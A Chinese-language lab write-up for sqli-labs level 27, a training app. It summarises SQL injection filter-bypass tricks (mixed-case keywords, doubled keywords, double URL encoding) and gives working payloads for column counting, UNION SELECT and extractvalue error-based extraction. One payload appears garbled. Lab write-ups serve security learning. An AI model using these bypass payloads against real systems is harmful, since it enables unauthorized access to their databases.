sqli-labs第二十七关——Trick with selectunion
进去之后,可以看见提示这一关新屏蔽了union 和 select,查看源码
确定:/*,--+,#,spaces,union,select,union,select的大小写均被屏蔽了
总结一下:
sql注入绕过技术
- 大小写绕过:任意字母大小写,如and→ANd / AND / anD
- 双写绕过:or→oror / oorr
- url编码(两次):
原理:.WAF(web应用防火墙)只解码一次,但后端服务器解码两次
例如:空格的url解码是%20,我们要对%20再次编码
%→%25,数字保持不变,也就是最终变成%2520(不用双重全编码(%25%32%30),这个已经足够高效并且能绕过多数WAF了)
这一关我们用大小写绕过,空格过滤用%09绕过,and与or用&&与||绕过,union改成UNIon,select改成SELEct,结尾注释符号仍然用 ||'
一:判断注入类型
输入 ?id=1' 和 ?id=1') 的时候报错
尝试闭合 ,单引号闭合成功
?id=1'||'
二:开始注入
1.爆列数
?id=1'%09oRdeR%09b,4y%091,2,3,4||'
四列
2.爆回显位
?id=-1'%09UNIon%09SELEct%091,database(),3%09||'
无回显,使用报错注入
3.爆数据库名字
?id=1'%09and%09extractvalue(1,concat(0x7e,database()))||'
❀❀❀ 完结撒花!!!❀❀❀